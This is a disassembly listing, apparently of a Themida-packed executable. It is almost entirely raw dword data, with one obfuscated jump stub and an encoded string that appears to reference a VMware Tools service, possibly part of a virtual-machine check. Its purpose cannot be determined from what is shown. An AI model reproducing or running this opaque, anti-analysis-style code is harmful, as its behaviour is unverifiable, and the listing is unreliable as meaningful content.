dd 0AB081913h, 0C3F05A3Bh, 0EC1DCD3Dh, 35171F8Fh, 7C26F120h
dd 7E35FBAh, 93AE729Ch, 7A066616h, 0BE8F87F7h, 318CA591h
dd 7600D5C1h, 8DC637C9h, 614CD35Dh, 49742582h, 0E88DFD7Eh
dd 0F0CEFEC2h, 0B4764055h, 63E0D110h, 96A717F3h, 94046BC8h
dd 0C82B38F6h, 0CC2D8658h, 8580AE5Ch, 0D1A5A914h, 83B32385h
dd 2A99A58Ah, 1A8EC3ABh, 101CF9CAh, 3DB0BABh, 0A1455540h
dd 1F172816h, 0E353183Dh, 275CBEDAh, 0F52191ECh, 42C17218h
dd 8FEC43D2h, 0B69C171Fh, 0A73555A2h, 0B93A8D40h, 0F477AC49h
dd 1FA19284h, 0C28C67AFh, 15B01171h, 3865C1CCh, 85B19EAFh
dd 8B7E288h, 29CC3CBFh, 41B10C25h, 0A1927855h, 84B222h
dd 3, 244B2F1Ch, 475C5ACAh, 314274E4h, 3E3363D3h, 544D49B9h
dd 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h, 783C7AEAh
dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68242C89h, 2C48h
dd 52243C89h, 0C281E289h, 4, 8704EA83h, 895C2414h, 0BD55242Ch
dd 61A5353h, 2C8BEF89h, 4C48324h, 242C8B54h, 5104C483h
dd 4D89F989h, 240C8B08h, 0FF04C483h, 835D2434h, 3C8B04C4h
dd 0E1895124h, 4C181h, 0C1830000h, 240C8704h, 26E4E95Ch
dd 53D4FFFBh, 0BD1A0F5Eh, 6B3C38EDh
db 0DFh, 51h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5CED59
loc_5CF1AA: ; CODE XREF: sub_5CED59:loc_5CED7Dj
mov eax, 61A5701h
add eax, ebp
jmp eax
; END OF FUNCTION CHUNK FOR sub_5CED59
; ---------------------------------------------------------------------------
db 78h
dd 4B12B2D4h, 9F04B4EAh, 18325BA5h, 525DE1AEh, 0B4FE1D3h
dd 8D7623E4h, 1A58438Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 0F88F75F0h, 1FE13FBh
dd 150225B5h, 218D8906h, 60061527h, 25B6D18Bh, 0CD85C761h
dd 70061504h, 6A00006Eh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 0A0BC350h, 89455887h
dd 15300195h, 1585C706h, 61511h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 3D88C350h
dd 0B5FFD2F1h, 6150595h, 2C995FFh, 6AF80615h, 2195FF00h
dd 8B06152Eh, 0BB6AEBC0h, 28AB30DDh, 20F8DE34h, 226D46C6h
dd 97D33C40h, 0F9D8F285h, 2DD9C992h, 839FFCD2h, 356D2B29h
dd 2CA65AF1h, 39B54323h, 7F84B43h, 642B7AE8h, 685121ADh
dd 0A41A8445h, 402D8795h, 0A3D78291h, 33AD8EB2h, 97D6F9D4h
dd 0D61584AEh, 3943875Bh, 75F29051h, 556B6289h, 0D90D6A5Ch
dd 26999BE9h, 5BC075B3h, 0A8F78D59h, 9F1E6D12h, 43EBECF4h
dd 14EB40DCh, 0D7B48134h, 3097596Bh, 30AFE930h, 14EB2330h
dd 0D7BC5D34h, 60B6E3FDh, 273213BDh, 971E4521h, 1E35489h
dd 1D9ED032h, 1746D5B7h, 60EB3221h, 9FB84A2Dh, 10E8B5F4h
dd 91628634h, 12FE50B1h, 0BE753CB9h, 0C714D623h, 0A968306Fh
dd 12FE3799h, 44FC6E34h, 10E8B567h, 91628634h, 12FE50B1h
dd 0B3663CB9h, 0C714D623h, 0E66A306Fh, 252BF9F8h, 0FCBD1A5Eh
dd 14EB0D37h, 4A28D814h, 10CF37BDh, 10CFE5B5h, 14EBD022h
dd 5A283E72h, 245CE0DAh, 9F39F58Dh, 1B2B860Bh, 99E85F8Bh
dd 12FE6A4Dh, 7E332D52h, 17038734h, 34EB6834h, 9DB4F76Bh
dd 95EF3E48h, 0CEF2970h, 53EB8634h, 0D7818063h, 1BD176D7h
dd 14EBD6BDh, 49565B34h, 9FED2115h, 1EAE7B9h, 1BEFA532h
dd 14EF45B0h, 12614C34h, 9DEBA134h, 1FE3189h, 0E156EB32h
dd 14ED2120h, 14C39E3Bh, 0B1020D34h, 7EEB8630h, 17031434h
dd 34EBA134h, 9DB4136Bh, 95EF4C48h, 1EF1070h, 53EB1A34h
dd 9BD1CE63h, 10CA0BBDh, 14554521h, 7EE9A113h, 17038034h
dd 34EB6834h, 9DB3F76Ch, 95EF3E70h, 1EF2970h, 54EB8634h
dd 44BE8064h, 0C55E2A54h, 9DEDC507h, 1F825A1h, 91665532h
dd 12F394A4h, 19BE98BDh, 0C4148021h, 2ED61Fh, 9960A721h
dd 12FEF1B9h, 90E4A8B1h, 14EB34D8h, 76287BDh, 2C6A0B21h
dd 0EF6AE063h, 14DFC63Bh, 8962A134h, 12FEDAB5h, 1093E952h
dd 90E43636h, 14EB1E55h, 0FCBC0D5Eh, 14EB8637h, 4B281C14h
dd 10CFDDBDh, 10CF94B5h, 14EB6820h, 2D286373h, 9423AD3Bh
dd 958D02E6h, 1B8B1A0Ch, 14EBD8B1h, 41EBCB34h, 14EBD3DCh
dd 0D7B64834h, 3087BD69h, 30AF9B30h, 14EB1530h, 0D7BEC334h
dd 19AFB82h, 0C754AE85h, 0FCE9A8B4h, 1485ED3Bh, 1E033434h
dd 69EB1A34h, 182E7361h, 0E2A75161h, 0B5766A8Bh, 4EEDB41Eh
dd 12935152h, 91E4C334h, 14EB3478h, 0FCBE1A5Eh, 14EB0D37h
dd 4928DB14h, 10CF2FBDh, 10CFE5B5h, 14EBD02Eh, 0B6283D71h
dd 0DFF62A82h, 99C0D427h, 12FE2329h, 14E83EDDh, 45EB2934h
dd 14EBA2DCh, 0D7B2F034h, 30A7E16Dh, 30AFB530h, 14EB0C30h
dd 0D7BA4C34h, 0E118454Eh, 15EA438Ah, 39762872h, 1BEDC517h
dd 14EB7DB7h, 14FBDD34h, 153D1A34h, 8A225C84h, 15CF11E8h
dd 20BF99C2h, 91668C9Eh, 12F35EA4h, 0FCBA685Eh, 14EB3437h
dd 4D284314h, 10CF41BDh, 10CFC2B5h, 14EB432Dh, 0C628F075h
dd 2330F742h, 2956E334h, 0EBED211Ah, 0BD7611E4h, 91ED1831h
dd 0F56F89F4h, 0ADEB4336h, 354BE12Fh, 182A4DBDh, 2C6A6E21h
dd 16E90952h, 14BA9F3Bh, 14810D34h, 14E86E65h, 4DCB4334h
dd 5862F8F7h, 506AD410h, 14FD6C10h, 45AA3434h, 0B8C5A6F7h
dd 72ED75B5h, 1B91D909h, 14E9B7B0h, 47EBCB34h, 14EBD3DCh
dd 0D7B04834h, 30B7BD6Fh, 30AF9B30h, 14EB1530h, 0D7B8C534h
dd 0B706956Bh, 0E9668874h, 72EDC537h, 747750B5h, 146BB13Bh
dd 89E21A34h, 12FE3E81h, 169306C1h, 7B6E4CDCh, 0FDEBA134h
dd 14EBD020h, 5204285Fh, 0B44F3340h, 5F5E7F30h, 0FF10FDAEh
dd 9E439946h, 1293C252h, 91E46134h, 14EBD07Eh, 0FCBC685Eh
dd 14EB3437h, 4B284514h, 10CF71BDh, 10CFC2B5h, 14EB4323h
dd 0E428F673h, 72B6F8DEh, 0FDA6878Eh, 14EB3651h, 0FCBE1A5Eh
dd 14EB0D37h, 4928DB14h, 10CF2FBDh, 10CFE5B5h, 14EBD02Eh
dd 0C4283D71h, 0D885E096h, 1455FC5Dh, 7E950C35h, 1703D034h
dd 34EB4334h, 9DB5626Ah, 95EFF440h, 9EF4C70h, 52EB3434h
dd 7026D962h, 33E5672Bh, 0BBD1E357h, 6BA6FC52h, 9A7B24B9h
dd 1481D62Ch, 14E88061h, 49CB3434h, 786247F7h, 506A0910h
dd 14FF8210h, 41AE4334h, 0A16222F7h, 12FECD39h, 1481B8CBh
dd 14E8DC61h, 49CB1A34h, 786250F7h, 506A8210h, 14F04710h
dd 41AEA134h, 0FAAC6FF7h, 0BA2CD9A7h, 1663B40h, 0FDEB1A34h
dd 14EB0D24h, 535B9D0h, 0E7BCB3D2h, 7EEDB3F9h, 0A45FB1ABh
dd 1C5EEDBDh, 0D46E3221h, 15A19E3Bh, 14810D34h, 14E86E65h
dd 4DCB4334h, 5862F8F7h, 506AD410h, 14FC6C10h, 45AA3434h
dd 94BF6CF7h, 0FCD38D6Dh, 1476033Bh, 14814334h, 14E84965h
dd 4DCBD034h, 586231F7h, 506A3010h, 14F61E10h, 45AA0D34h
dd 28124CF7h, 0CD1A71EEh, 0FD3125B1h, 14EBD027h, 0F2AD2919h
dd 44F039Bh, 0B1C67048h, 7E11D599h, 1D61542Fh, 1E1FA89h
dd 11932132h, 446EDF47h, 7EEB6834h, 17036134h, 34EB1A34h
dd 9DB6CE69h, 95EFA258h, 1EF6770h, 51EBA134h, 42551361h
dd 47EC10B4h, 15E8B03Bh, 14811A34h, 14E8E565h, 4DCB8634h
dd 58621AF7h, 506AA510h, 14F0D410h, 45AA6834h, 8BC67F7h
dd 4E1FF0F0h, 697E84FFh, 72ED9337h, 11647BB5h, 1491243Bh
dd 89E8D034h, 12FE4975h, 0D222B552h, 12939ADEh, 716E025Ch
dd 7EEB8634h, 17031134h, 34EBA134h, 9DB1136Eh, 95EF4C60h
dd 8EF1070h, 56EB1A34h, 9A83CE66h, 0D819D75Fh, 1B7EA6F9h
dd 958D718Bh, 3114DB4Ch, 14D9ED3Bh, 0F36B3434h, 1494F31Fh
dd 14810D34h, 14E86E65h, 4DCB4334h, 5862F8F7h, 506AD410h
dd 14F76C10h, 45AA3434h, 0B58F45F7h, 35287D80h, 0A960413Bh
dd 12FE5FEDh, 1481611Fh, 14E83866h, 4ECB6834h, 40626EF7h
dd 506A1E10h, 14F00910h, 46A98634h, 0E2DC62F7h, 2E976174h
dd 74022844h, 7EEB6834h, 17036534h, 34EB1A34h, 9DB2CE6Dh
dd 95EFA278h, 8EF6770h, 55EBA134h, 3D901365h, 614F12A7h
dd 9F50493Fh, 1E98FB9h, 14EAB532h, 14818634h, 14E8AB61h
dd 49CBA134h, 78628DF7h, 506A6C10h, 14F63010h, 41AE1A34h
dd 3FC0B2F7h, 6DC70263h, 9F64D4B9h, 1FB7CA9h, 2D6EF932h
dd 84ED7D3Dh, 14ECB63Bh, 728B1A34h, 0D58CABFh, 9D7BD655h
dd 1C6E2B9h, 0A6562C32h, 99EDCA6Ch, 0EB472B9h, 41C88C32h
dd 91E86D52h, 12FE1AF9h, 0FD2A491Fh, 35145536h, 347E950Ch
dd 341703D0h, 6A34EB43h, 409DB562h, 7095EFF4h, 5E9834Ch
dd 6058A4F3h, 0F585060h, 0E861F6B7h, 11h, 0EC6F7DD7h, 7D97FBECh
dd 0E25FC4AFh, 0BDCBE780h, 3D8D8B94h, 5E06152Ah, 0FE961h
dd 40860000h, 0FE2A5430h, 0F1664E82h, 23F479A5h, 0FC00B8Bh
dd 5384h, 0BD858900h, 8D061516h, 154F9EB5h
dd 0B5096006h, 61528F1h, 6E9h, 0A0A5EE00h, 610FBA3Fh, 3B8h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 7F5CF89Ah, 0EA28D1BFh, 0D9B980B0h, 0FF734114h
dd 0DAB70FE6h, 0D58D0140h, 8B061505h, 15021595h, 83C08B06h
dd 1508F5BDh, 9750006h, 3ADBD83h, 74000615h, 8B535019h
dd 403B8C0h, 85890000h, 61502A1h, 0AB059D8Dh, 0D3FF0617h
dd 0BD83585Bh, 61503ADh, 50177400h, 403B853h, 85890000h
dd 61502A1h, 0A7A69D8Dh, 0D3FF0617h, 6A585Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0E956F4C3h
dd 14h, 3764654Dh, 13836943h, 14BD4BA6h, 62340C6Eh, 6027C68h
dd 80D78159h, 6A303225h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 7268C356h, 0F583F0Eh
dd 388h, 0CBB70F00h, 0F98BC08Bh, 0DE861h, 523F0000h, 460024F8h
dd 13BA3BF7h, 29E1B68Fh, 150371BDh, 830F5F06h, 0
dd 6441C781h, 8D8B0000h, 61524C5h, 0BEh, 0CDF08100h, 0FF03432Ah
dd 81603E34h, 9814C4CEh, 959D2909h, 61061518h, 7E85Bh
dd 6FE80000h, 0C86DE461h, 10E9F4h, 0C9110000h, 136E255Eh
dd 0F4C767E3h, 0A1ADE4A1h, 815A6623h, 0B8677EEBh, 0CEBF0F2Eh
dd 996AC381h, 20B94A4Ch, 814D84D3h, 59D0E7EBh, 61858B24h
dd 89061505h, 1B8371Ch, 8B2D4AFEh, 1516FD85h, 0D7EE8106h
dd 0E871B39Ch, 0Ah
dword_5CFB64 dd 9A3E780Eh, 0E31BA175h, 8B66A3EFh, 0C68158D7h, 71B39CD3h
; DATA XREF: Themida_:0057A66Co
dd 81D08B66h, 0FF9CACFEh, 10850FFFh, 31000000h, 1511B58Dh
dd 25E906h, 58060000h, 0F6AEAFAh, 680h, 51850100h, 0E9061516h
dd 0FFFFFF4Fh, 0E07CE6D5h, 6FE714D4h, 0E63DC716h, 6C4AB054h
dd 0EE572578h, 3012511h, 0DFC27B32h, 0C425519Bh, 64256193h
dd 3001250Eh, 0D0C27354h, 22FA608Bh, 81AAD8E3h, 307A11Dh
dd 1C302512h, 0C614337Bh, 30D9A974h, 30012BFAh, 32235A12h
dd 5949D82Eh, 0B8E34089h, 8A94A481h, 940D1887h, 685F7A14h
dd 33852A16h, 0BB012510h, 0A582D9CBh, 0A1431E7h, 3C852A12h
dd 0EA012512h, 81012515h, 0E9475F37h, 89CEECA2h, 30012720h
dd 0F0542578h, 0C012511h, 5BC27832h, 725499Bh, 85256193h
dd 0C0012509h, 93C27057h, 0DE8D531Bh, 932E4918h, 192434A7h
dd 800EB514h, 301251Eh, 81882A72h, 0A6012512h, 1B389A8h
dd 2B872A42h, 17012512h, 0C013091h, 60ECD12h, 0C4A22512h
dd 0D75B24B2h, 0EEF6C6B1h, 0BA3B8BE7h, 5A917BD2h, 1BE97412h
dd 2C012512h, 8F58E64Bh, 8205015Eh, 95050156h, 81012512h
dd 0DEAAE643h, 6BE7F577h, 3C4D241Dh, 5E014FECh, 60126FAh
dd 0C05B0512h, 0A555AC48h, 0E445A416h, 60013816h, 0F3536712h
dd 8EFC8FB6h, 12F2B7D9h, 0FE831A2h, 0B7012512h, 43902517h
dd 5A6BD6ACh, 33014F4Ah, 300126FAh, 0DB5A0512h, 285DAC49h
dd 2245A416h, 3013D16h, 42526612h, 43686625h, 600BCC01h
dd 1E562512h, 36EE5D07h, 1E9E20CFh, 0EF2DE591h, 3012506h
dd 6FA649D0h, 5E32CA21h, 7DAF4B14h, 697AE149h, 883B39FFh
dd 0C6B2D99h, 602CD44h, 5D212512h, 0F5887BD1h, 84802136h
dd 60182136h, 66472512h, 68A713D1h, 6A540C77h, 8FFD6D99h
dd 162B1887h, 0B8804314h, 440EDA24h, 600125C0h, 1B14A013h
dd 0D9822307h, 0E538A51Bh, 6E5A01Dh, 36B2512h, 8102CD43h
dd 99212512h, 2C887CD1h, 74802136h, 181B2136h, 5D402512h
dd 748BFAD1h, 91B31AFAh, 0EB006499h, 0C3E97312h, 40012512h
dd 0B95FE64Ch, 99050166h, 1A050156h, 40012512h, 0F7F8E644h
dd 8B822AB1h, 0CF012512h, 60012190h, 0D4BB4312h, 93C9266Eh
dd 190A9CAFh, 0F78A4314h, 6904E491h, 82E97012h, 0E0012512h
dd 0E95CE64Fh, 0B105017Eh, 5050156h, 49012512h, 60BCE647h
dd 0FACB6AF4h, 7033FF2Eh, 0D810B899h, 59802307h, 0BB426E82h
dd 184DA01Dh, 0C6B2512h, 602CD43h, 5A212512h, 0CD887CD1h
dd 84802136h, 601C2136h, 61402512h, 72AA1FD1h, 0F69A9110h
dd 91BC3D9h, 8E8CFBADh, 87146A8Ch, 0C3B95BA4h, 89012512h
dd 30012518h, 562970FDh, 29736CDEh, 0E7FEB418h, 21F49099h
dd 0EB602307h, 0C3E97612h, 40012512h, 0B95AE649h, 9905014Eh
dd 10050156h, 45012512h, 6E0FE641h, 0A6050F48h, 29FD21DBh
dd 60012515h, 7C38B1AEh, 9509D102h, 1660ADAFh, 868CA814h
dd 0BB073F76h, 8093A666h, 0EEB0A021h, 0AF2A2307h, 6C03CCD3h
dd 0EE572578h, 3012511h, 0DFC27B32h, 0C425519Bh, 64256193h
dd 8301250Eh, 0A4F305E9h, 6AC08Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 7296B2C3h, 8F4FD11Ch
dd 595760B2h, 0F6816657h, 61596BAFh, 319EDA81h, 3606264h
dd 152775B5h, 870F06h, 61000000h, 8D8DC38Bh, 61A6581h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0F4C35646h
dd 1ADC4B5h, 218D89DDh, 0C7061527h, 1504CD85h, 58D406h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 0BD9460A5h, 7D78037h, 111585C7h, 615h, 8A0F0000h
dd 6, 3C1B589h, 9D8B0615h, 61504A1h, 33A9B5FFh, 0BD8B0615h
dd 6150CE1h, 0FFD68B66h, 1502C995h, 6820F06h, 9000000h
dd 152EFD9Dh, 0FF006A06h, 152E2195h, 0EBC08B06h, 77C6834Fh
dd 914166Ah, 15F632D1h, 10157690h, 2D5FE87h, 55478CA5h
dd 7E2FAE50h, 6FD73EFFh, 56D3ED06h, 3805EEAh, 56E5F46Bh
dd 3F6118E4h, 5F101DB5h, 0DAA4B1DEh, 7E60EF8Ah, 0CE5F802Ah
dd 32ECD508h, 3EAC1283h, 0A227D7E6h, 182295D1h, 70E9h
dd 0C68B4400h, 774D5612h, 20657261h, 6C6F6F54h, 65532073h
dd 63697672h, 65h, 15h dup(0)
dd 0E9BE900h, 0D3680000h, 0E9061A67h, 0FFFBE284h, 1A68E868h
dd 0E27AE906h, 7468FFFBh, 0E9061A6Ah, 0FFFBE270h, 1A6AB368h
dd 0E266E906h, 5868FFFBh, 0E9061A6Bh, 0FFFBE25Ch, 1A6C0368h
dd 0E252E906h, 0E068FFFBh, 0E9061A6Fh, 0FFFBE248h, 1A725D68h
dd 0E23EE906h, 3E68FFFBh, 0E9061A73h, 0FFFBE234h, 4D3F3E2Fh
dd 0DDAFCEC2h, 4F413C32h, 0D3B5C8C4h, 493B4228h, 3022FCEAh
dd 97907B4Dh, 381BE6E6h, 0CDB84345h, 4B48E0B0h, 24792E6Bh
dd 87F76EA7h, 0C7DE9F86h, 47523DC8h, 0CA831A63h, 1B53FAA3h
dd 2E247570h, 19A6264Fh, 0E3E3509Fh, 0B353E7A7h, 1FFBA2D7h
dd 0A729D66Eh, 0EC68FC7Ah, 6BECEE9Bh, 345Bh, 4B3FCE00h
dd 0C48EFC32h, 300E1D6Ch, 0B353E20Ah, 1C069FCAh, 0A729DB79h
dd 8F6F7C6Fh, 0A729DBC2h, 0E5CFA7D2h, 0F7B8D14Dh, 0D0406BECh
dd 0F3000000h, 69116C62h, 0FA9F8667h, 3AF36A13h, 647D170Dh
dd 2851D6E4h, 39FEF481h, 3E48203Dh, 0A7877CADh, 0AD3E47EAh
dd 7FB67FAAh, 19644BE6h, 730A0590h, 4C451711h, 988FAD3Eh
dd 595546E5h, 0AD3E4C3Ch, 589B158h, 0F9846D18h, 0E271C970h
dd 0BC0B92EBh, 3836B504h, 0B3535F9Ah, 279135C6h, 59C83C1Eh
dd 7E27563Ch, 93C69FD7h, 0DD2C8431h, 90BB704Eh, 30D9AD40h
dd 772012C3h, 0CE29C7C8h, 2070C98Fh, 3D187F75h, 375D727Dh
dd 45BBA1D8h, 0B7FA0781h, 0C76A83Ah, 74590000h, 14FC8709h
dd 0B29C6769h, 160EF9CBh, 0B89A6567h, 7664C3C5h, 0C5C7B69Ch
dd 0A828553Ah, 587F6DDh, 9AEA937Ah, 6C290502h, 28A72477h
dd 0A486C53Dh, 210CF7D9h, 24DE6C5Ch, 0D5CCB199h, 0BB75561Ch
dd 7B7F7F6Ch, 0E7B353E2h, 0A67A554h, 0C36B6E02h, 0B9B6AF5Ah
dd 560820Ah, 94DA61B7h, 29D3E7AAh, 63F201A7h, 0DC950C71h
dd 108C1896h, 6BECEF77h, 0ED7Fh, 9F865100h, 2882C1F8h
dd 4B0E3D40h, 0D1AD3AC8h, 0AD3E2D84h, 23106910h, 5A037A72h
dd 49E47BB3h, 2D503663h, 9F815D04h, 29AD3E32h, 0C24D3F3Eh
dd 0A4D9CECBh, 841D54FDh, 0AD3A8927h, 4F562720h, 6363D0A6h
dd 0B3533DB7h, 4E2F22B3h, 0BA0A3F28h, 0D1807E6Dh, 0C3A72938h
dd 55F3E096h, 264F2E22h, 0DFF92D09h, 7281AD40h, 0B92EBE3h
dd 0DDB9D862h, 2EDBAD3Ch, 0FDEA1F08h, 0DD4110EEh, 2653AD3Ch
dd 4032E350h, 800F6E59h, 0EFF4775Fh, 0B90B629Eh, 0BBA1DCCEh
dd 0FA07E87Bh, 6152F4ADh, 6E00000Bh, 590007Dh, 7520700Dh
dd 0F782027Bh, 731E6E0Fh, 2D8CFC81h, 0E6F65BFh, 9FDED3BEh
dd 0E6F622Dh, 0A1DCD3BEh, 7C7A772Fh, 0A72476DDh, 8678C6BFh
dd 0CF7D9A4h, 3ECF5C21h, 89FD3548h, 0A0F9F19Ch, 8A1D8A5h
dd 17CC926Bh, 155CC439h, 9F866B5Dh, 432AC7DEh, 0D0B05B54h
dd 0C26B2FEEh, 6CBB75C2h, 6C9B7F7Fh, 4EFBB353h, 6A2A6B57h
dd 30BEA729h, 863F48C4h, 13B76BECh, 9000000h, 0CDA99724h
dd 2B776606h, 3BF33A43h, 7C909h, 6CC4A700h, 211D0E1Dh
dd 0AD3EDE74h, 0B041F920h, 53F2B0D6h, 243DECB3h, 0EDDF9E89h
dd 320C2B22h, 0A729CA63h, 0C2310831h, 475E1F13h, 0E5C1E88Eh
dd 0E6DEDDEh, 0BBD35FCDh, 366363D4h, 664BEDA8h, 7F0A7AB3h
dd 926CF588h, 4BEDA7C0h, 829A0AACh, 0E792F28Bh, 0CBD89700h
dd 0D08145D9h, 7BB2CBC5h, 0B152F8E2h, 0A4A04BEDh, 4945D0D9h
dd 0E8862D34h, 6FD487Ch, 0B83B3375h, 73BB3ACEh, 565169F9h
dd 0F3DAA527h, 0FCB4138Ah, 52403EADh, 0C214A5BCh, 0D1463597h
dd 0E3C7FAB6h, 5A54D39Ah, 1A98C5FCh, 5102F118h, 0EBC9DE34h
dd 7EBA6B4h, 0DBCBC076h, 0ECA15AADh, 0BF2C7B35h, 957AE7BFh
dd 831A4F72h, 0F7F78C24h, 66933A5Ah, 0C9660F3Ah, 0ABAD68EDh
dd 56D5846Ch, 0B0B9C4A7h, 15C03109h, 0D7C4631Ah, 8B08BAD7h
dd 72FDA6Ch, 8611FC87h, 5941296Eh, 17FD34DBh, 0BAB625D5h
dd 0D538CA47h, 0FA000009h, 99646419h, 11FCCCB1h, 9B666617h
dd 0FFACAB3h, 0D170601Dh, 324B41DBh, 0BBC2A752h, 324B3EC9h
dd 0BDC0A752h, 585653CBh, 0A7247539h, 8694EA5Bh, 247ADE9Fh
dd 58FA05A7h, 9960DA1h, 54390000h, 0F4DCA729h, 927C0789h
dd 0F6EE99EBh, 987A0587h, 5644E3E5h, 25A7D6BCh, 8808755Ah
dd 656716FDh, 0FACAB39Ah, 0C492522h, 88A72475h, 9F86A51Dh
dd 482AC7DEh, 37A45335h, 221160D8h, 37FF7E73h, 0E85EBCBAh
dd 8BBEB353h, 2F0C0A34h, 0A75468E7h, 0B54A5D45h, 0F3D360E4h
dd 0E59655A6h, 9EEB43F6h, 0E4B18D22h, 0B0E59655h, 4343B089h
dd 0EBAB776Bh, 0EBAA8497h, 0A9EB8136h, 0BC6DBA80h, 9BEA46A5h
dd 0A99BB28Ch, 1039F199h, 8B851023h, 6CC26BF2h, 3597E6E1h
dd 361A634Ah, 3DA07D9Ah, 0F1F39712h, 0DE000008h, 554090EDh
dd 0E5B0205Dh, 473292EBh, 0E3AE1E5Fh, 7D3C8CF1h, 7EFFF50Fh
dd 0EF8E830Eh, 7EFFF29Dh, 0F18C830Eh, 2C0A079Fh, 0A724736Dh
dd 86C8362Fh, 6251DE9Fh, 43BFBEB3h, 0AD3EDF16h, 0D0B6D386h
dd 4FDA85ADh, 95AF215Ch, 0AD3EDF28h, 0AEA23340h, 0DF2673CFh
dd 4442AD3Eh, 0AD3EDF15h, 0E089D287h, 307F399Ah, 1A1D12C3h
dd 3EDE7D1Ch, 43EA1FADh, 2B00FEEBh, 89B35944h, 0CBC253E0h
dd 4027D2B2h, 0C1BDAE3Dh, 0A7247994h, 86215900h, 502E09EBh
dd 0A7247A01h, 6DB6C7C1h, 61EC75BCh, 8D3D136Ah, 0FFFC1FC2h
dd 846E082h, 0A4890000h, 240CF7D9h, 0A28C7759h, 261EE9DBh
dd 0A88A7557h, 4634F3D5h, 0D5B7C6ACh, 5838452Ah, 0D5B7C6ADh
dd 4A3A432Ah, 0BCD9D5D2h, 0D8A72472h, 9F86156Dh, 3C6518FAh
dd 28C5DC95h, 20E55A3Dh, 2F8CC64Ah, 0FA7C5F06h, 225B526Ah
dd 0C23673A2h, 0D8657201h, 0BAC3ADECh, 0EB43EAA3h, 4DD5Bh
dd 6CC46D00h, 3B300E1Dh, 25B35944h, 0B11EFE96h, 0EB433748h
dd 5DE80732h, 0CB90B72h, 503F66B5h, 0B9B0CDC5h, 0D8CC3A00h
dd 0A82090E2h, 8D1A960Eh, 69F28BF2h, 54h, 0B299245Bh, 6C1BD2CBh
dd 79B0581Bh, 4D3EF41Eh, 0B7C6C1F4h, 0E9E4717Eh, 714DDE94h
dd 0AD3E9024h, 0C6A0C970h, 0CDA5F1D7h, 0AD899A99h, 8CD7B1F0h
dd 184F93D8h, 0BFA875EDh, 5ACAE48Ah, 9A8FC9DEh, 0E2D51h
dd 7F9F0000h, 1F0h, 720B0392h, 9EEC42EBh, 0CAB39924h, 3B8A27A4h
dd 4B643822h, 0F9EE26ABh, 5550DD84h, 0B5DF8128h, 472093Dh
dd 8EB3F470h, 2243F895h, 75000000h, 871E6DC4h, 0AB4B2A9Bh
dd 24901E26h, 958ADFA8h, 0AC17F8h, 190A0000h, 0D27A801Dh
dd 45ED1C33h, 0DD972443h, 0E0CDD2A9h, 0C6AE4F62h, 63352889h
dd 0CE03BE0Bh, 0A2E9A61h, 35B27B66h, 0C8094826h, 0DE8BAD3Eh
dd 0FE9B9B98h, 9EAD3EC7h, 0E691BE6Bh, 0ABD2BD93h, 4B3217B2h
dd 62D25C52h, 0CB57DB2Eh, 1A33A4Fh, 0B9B46172h, 3EF49DC4h
dd 510Ah, 7A701D00h, 7BB35A03h, 1E6DC40Dh, 0DE6A3511h
dd 336AD3Eh, 0D7059E4h, 9D95DD94h, 0ECDE7FEEh, 917D1891h
dd 0F1D875ECh, 2DC5F18Ch, 0DE86D3B3h, 6316AD3Eh, 0BA2A840Ah
dd 1F7693Eh, 108D72h, 0F3A00000h, 3D3679A1h, 0F0E2986Fh
dd 0FF7Fh, 0D97F3100h, 31000000h, 553A6DC4h, 0A1D88128h
dd 21D61E08h, 2546028Fh, 9C193836h, 0EA7B57EEh, 46EF7607h
dd 0B52D47EFh, 0F4E283Bh, 8D57EE9Ch, 169396DCh, 0E21CB1B4h
dd 75h, 3A6DC4D4h, 0D9802954h, 0F5A093A0h, 0DED580FDh
dd 306DD79Fh, 6CAD3EDFh, 6945F2D9h, 0AD3EDF2Ch, 0F178C168h
dd 8E78F148h, 0CD5F0BEBh, 850171FDh, 51E1CE04h, 36F4h
dd 6DC4C600h, 13DB9C38h, 45EC1271h, 8389C8A6h, 180BAD3Eh
dd 3E837F1Eh, 5FEC1DADh, 1FCE0661h, 69FD66Fh, 5ECC991Ch
dd 931F8F1Ah, 0E1E49217h, 76604h, 7F580000h, 50h, 59972431h
dd 59F8F609h, 3BAD3E3Ah, 8C95810Eh, 116C65F0h, 0FA99E198h
dd 0B4A2413h, 89AD3E66h, 361099E0h, 0AD3E6564h, 0ABC32F39h
dd 69D7B9C4h, 1A1E6DC4h, 0A10B1D73h, 0EC25AA11h, 54D5AD3Eh
dd 7201EA54h, 0FFFF0FA2h, 6B7F14FFh, 31000002h, 0C7DE9F86h
dd 0AD3A432Ah, 0DE91C0BEh, 5603AD3Eh, 7083B020h, 3EDEC796h
dd 0CEA4D5ADh, 0F7F443FDh, 53E74BF7h, 0A7BE6BB3h, 29D69ABBh
dd 54E04EA7h, 0ECEECFD8h, 573BCA6Bh, 0A0D67F26h, 50F0h
dd 6CC4E200h, 0DEBAD7D7h, 2FDAAD3Eh, 0E9FAE906h, 3EDE500Dh
dd 551D4CADh, 53E253E7h, 0B9AE5FB3h, 0DBD1807Eh, 96C3A729h
dd 277650DFh, 75A729DCh, 88B16EC4h, 0DB5405E1h, 1A94A729h
dd 8D83108Ah, 0A424229Ah, 91161961h, 656BECB5h, 0B9h, 0FA9F8657h
dd 0DDA08613h, 0D640D94h, 6A13F994h, 0B1C4CE7Dh, 19457E5Bh
dd 0C4AB4661h, 2A25B0B9h, 0E5377153h, 0DAD3ED3h, 42F88580h
dd 0D2611C13h, 674D4C43h, 8F465F16h, 0DE5AE7E7h, 0DFF3A08Fh
dd 27227003h, 0A83A2DB9h, 0E34050EBh, 620B92EBh, 0E8C6630Bh
